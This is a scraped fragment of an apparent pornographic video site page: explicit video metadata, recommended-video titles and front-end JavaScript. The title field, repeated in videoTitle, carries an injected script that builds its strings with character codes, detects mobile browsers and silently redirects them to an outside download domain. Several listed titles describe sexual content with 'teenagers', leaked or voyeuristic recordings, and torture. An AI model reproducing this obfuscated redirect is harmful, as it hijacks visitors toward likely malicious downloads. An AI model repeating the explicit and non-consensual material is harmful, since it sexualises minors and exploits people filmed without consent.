</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>The intimate tongue-licking skills of the girls in the port area drove her father crazy. The tall and voluptuous beauty, Kikuno Ran. Kikuno Ran Fitch
The intimate tongue-licking skills of the girls in the port area drove her father crazy. The tall and voluptuous beauty, Kikuno Ran. Kikuno Ran Fitch","site_id":0,"video_url":"https://2605.v155p.com/20260617/jYYYUQp1/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMmYyNmMyN2IzNTMwMDgyZGFmYmY2ZTk3N2Q3ZGMzZDUuanBn.cache","duration":"02:32:52","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":767,"description":"The girl from the Minato Ward used intimate tongue-licking techniques to drive her father crazy; the tall and voluptuous beauty, Kikuno Ran. Kikuno Ran Fitch","tag":["Port Area","girl","close","Tongue skills","Skill","dad","crazy","tall","full","Beauty","Kikuno"],"site_url":"176580","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["萝莉少女"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMmYyNmMyN2IzNTMwMDgyZGFmYmY2ZTk3N2Q3ZGMzZDUuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"港区女孩的亲密舔舌技巧让她的爸爸为之疯狂,高大丰满的美女菊野兰。 菊乃らん Fitch","s_keywords":"港区女孩的亲密舔舌技巧让她的爸爸为之疯狂,高大丰满的美女菊野兰。 菊乃らん Fitch","s_description":"The intimate tongue-licking skills of the girls in the port area drove her father crazy. The tall and voluptuous beauty, Kikuno Ran. Kikuno Ran Fitch","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTNmM2I5OTRkNjZlZjRhNzY0NzIzODVjNDAyOWNjYWYuanBn.cache","vod_id":19151278,"title":"DNIA-005 - Leaked: Female Assassin, Lewd Bondage, Antlion Hell, Act 5: The Tragic Fate of a Female CEO Reduced to Slavery!! Lewd Vagina Twitching in Madness - CD2","lastmod":"2026-04-01","duration":"43:32","url":"/play/19151278.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjYwMDA3NzYxODllM2Y1NTU4ZmRmNGIxY2I0YjA4NGYuanBn.cache","vod_id":19005494,"title":"Caribbean-080819-003 Summer Nudity - I'm having sex outdoors with a modern swimsuit girl! ~HIKARI1","lastmod":"2025-03-23","duration":"01:02:32","url":"/play/19005494.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDEvM2ZkOWM1Y2ZkZTRiMjkwOTE2ZGE2YmFiMDAxNDIyYWQuanBn.cache","vod_id":19055394,"title":"Iron hook, vaginal tearing, incontinence torture, track and field ace, hairy G-spot crazy orgasm, Tsukino Kasumi, Tsukino Kasumi WAAA451","lastmod":"2025-09-30","duration":"02:37:30","url":"/play/19055394.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZTQyMGMzMTllNmMxOGU4ZDQ4ZTRiOTQzZmM3ZTdhMGUuanBn.cache","vod_id":19065209,"title":"A lewd day dominated by the lust of a voluptuous, sexy, and wanton female teacher, Aya Nanjo. (AGAV-145)","lastmod":"2025-12-14","duration":"01:59:36","url":"/play/19065209.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGM1ZjRiYWIxNDY2NGZkOTMzNzMzMGE1ZTJmNTM2Y2IuanBn.cache","vod_id":18957512,"title":"A girl who rarely shows her face, with an enviable figure, grabbing her breasts and sucking on them, large, voluptuous breasts, masturbating with props and spreading her legs, with copious amounts of semen flowing out.","lastmod":"2025-03-22","duration":"03:02:23","url":"/play/18957512.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODg2NWMwYTQzYjk5ZTMyZTFjZDg4NzE2ZDgyNjMxZDYuanBn.cache","vod_id":18981985,"title":"529STCV-038 [Adachi Ward's Strongest Breast Pressure J-Cup] Three Basketballs!? A Busty Female College Student Who Will Make You Gaze - We Go to Her House for Sex!","lastmod":"2025-12-14","duration":"01:25:35","url":"/play/18981985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDM0ZGQ5NWQ1Mjg3NGUyZWE3NTM4MGU5YWNiNmI4MTEuanBn.cache","vod_id":19155013,"title":"DSIR-002 - Leaked Extreme Female Body Modification Project - Shocking Amateur Girl's Advanced Spasmodic Orgasm - Episode 02 Some Kind of College Disease - CD2","lastmod":"2026-04-24","duration":"54:32","url":"/play/19155013.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjQ4Mzg5NjNlYmVhZjVjNzk3ZTYzNWQ5YTQyMTczMWMuanBn.cache","vod_id":18959507,"title":"\"Latest Leaked ✅ Top-Tier Contrast Bitch\" 10,000 Followers on Twitter: High-Class Rich and Beautiful S-Class Body Goddess [Sponge Dad] Lewd Private Shootings of Various Sugar Daddies Participating in 4P Group Sex, Lewd and Unbearable to Look At (2)","lastmod":"2025-12-14","duration":"00:33:41","url":"/play/18959507.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjk3NGI4NDk0NDk5MDlkMDA4ZTAyZTZjNDU2YWIyYmQuanBn.cache","vod_id":18969143,"title":"MIDV-359 The perverted finger-fucking technique is so good, I can't make a sound, my love juices are flowing, I'm humiliated—Nozomi Ishihara","lastmod":"2025-12-14","duration":"02:30:24","url":"/play/18969143.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODViYjQ2YjJhMzY2N2M4YmJmOWQ0M2E3ZjQ3MWI5YWIuanBn.cache","vod_id":18934903,"title":"Purchased at a high price - a video of herself passionately having sex with a bespectacled male online friend at home, filmed and sold by a recently famous goddess-level internet celebrity. She's really beautiful!","lastmod":"2025-12-14","duration":"00:23:32","url":"/play/18934903.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDMxNmY2MDdiNzRmOGI4NDRmMmZjNDA5NmE2NGFjYmMuanBn.cache","vod_id":18985660,"title":"FC2PPV 3844439 [None] [Face Revealed] A female dropout, a shameless girl, is thoroughly understood and penetrated. The body is honest...","lastmod":"2025-03-23","duration":"00:52:13","url":"/play/18985660.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTEzYTk2MzJkNzk3NzY0NWVkNTZiZWZjNWVkODZmNzkuanBn.cache","vod_id":18942986,"title":"A beautiful and elegant young female factory worker was taken to a rented room by her middle-aged male boss after get off work and had sex with him. The man was strong and vigorous, and he fucked her hard in various positions until she was in ecstasy!","lastmod":"2025-12-14","duration":"00:18:33","url":"/play/18942986.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTIwM2E2MDQwYWIzNDFhNWZkZjI3YWM3ZTAwNjIzM2EuanBn.cache","vod_id":18944835,"title":"326EVA-065 Big breasts and a big butt, voluptuous figure, natural beauty, so erotic!","lastmod":"2025-03-22","duration":"01:03:36","url":"/play/18944835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTQvYWRlMjUxZTJkNmFhMTI5NDE2OWYyOWU1MGQwODY4NDQuanBn.cache","vod_id":19067431,"title":"Violent penetration of sexually aroused teenagers! A voluptuous H-cup swimming club advisor in a super erotic competitive swimsuit and sex education guidance. (Rika Haruka CKCK-020)","lastmod":"2025-12-14","duration":"02:00:14","url":"/play/19067431.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDNhZTBmNjdjZDRjYzI0M2FkZDMzYWM1NGYzNDE1ZTEuanBn.cache","vod_id":18972487,"title":"IPX-114 Sugar Daddy! The truth behind a beautiful woman's secret sex with a perverted middle-aged man. The first-person/voyeuristic video filmed by the man (Sugar Daddy) is now being sold as an adult film!","lastmod":"2025-12-14","duration":"02:27:49","url":"/play/18972487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTEyZmRkNGM0YTMzZjgwN2VlYjBlMDE4Yzg3M2IxNjcuanBn.cache","vod_id":18998353,"title":"Being targeted by a water maniac...being relentlessly spied on by a stalker","lastmod":"2025-03-23","duration":"01:58:33","url":"/play/18998353.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWY2ZmM0NzI4ZmQ4MzYzZTUzNjk0ODJjZGNhZGVhMzMuanBn.cache","vod_id":19003853,"title":"[milky] Wife, Mother, and Busty Woman VOL.2","lastmod":"2025-03-23","duration":"27:53","url":"/play/19003853.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2ViYTliOTBkMWM2NWQ0N2QwNTYzNGEyMjE4ZDM1NWQuanBn.cache","vod_id":19015854,"title":"LUXU1118 Luxury TV 1106 Beautiful dental assistant is having an affair! She exudes sexiness from head to toe... She uses her alluring body and sexy lingerie to seduce men and indulge in the release of her primal sexual instincts!","lastmod":"2025-03-24","duration":"01:18:00","url":"/play/19015854.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGE5ODY5ZjY5NjE4ZWVmYWRmYWYzNTJlNGVlYzgzNWQuanBn.cache","vod_id":18992242,"title":"Check out the trending topics! Two beautiful women are having lesbian sex, touching and licking each other's genitals.","lastmod":"2025-03-23","duration":"16:48","url":"/play/18992242.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2NlYjY5ZWEwYzllZTllZjhlMjBkMjI0YWUyZTNiYzguanBn.cache","vod_id":18944692,"title":"[Chinese Subtitles] JUL-173 My friend's mother, Yamaguchi Juri, is a serious yet nervous girl. She's so lewd that she drained all the semen from my balls... Yamaguchi Juri","lastmod":"2025-03-22","duration":"02:00:16","url":"/play/18944692.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzI5MjYwMGFhMzI4ZjQwMjVlNjcwMzAyMDM4M2RmMWEuanBn.cache","vod_id":19009716,"title":"KMHRS004 G-cup busty beauty loves service. During her break from work, she comes to your house for her first ever ejaculation, Sana Yotsuba.","lastmod":"2025-03-24","duration":"02:14:42","url":"/play/19009716.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDgvNTJiOTdhNGQ1M2EyZjVkNzExYzIzZjEzODdlZjcxZGUuanBn.cache","vod_id":19032570,"title":"300MIUM-936 [GAP] The innocent girl who came to Tokyo is so lewd! Frenzied ejaculation! Gap Girl #06","lastmod":"2025-05-08","duration":"01:03:03","url":"/play/19032570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjcvMDg5MDhkZDAwMzVhMWZhOWE4YWI3OTA2OTRlNmE1NTQuanBn.cache","vod_id":19040294,"title":"Plump black hair messes up throat - Plump beauty","lastmod":"2025-06-26","duration":"26:28","url":"/play/19040294.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTA2M2JjNTdhNjM0OTk4YjgyZjFhOTVkMzI4MTYyM2YuanBn.cache","vod_id":18931046,"title":"MIDE-213-B: A busty woman repeatedly reaches orgasm with amazing skills while dating the promiscuous Anri Oquita.","lastmod":"2025-12-14","duration":"02:01:00","url":"/play/18931046.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>The intimate tongue-licking skills of the girls in the port area drove her father crazy. The tall and voluptuous beauty, Kikuno Ran. Kikuno Ran Fitch',
language: 'en',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link copied!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link copied!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link copied!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}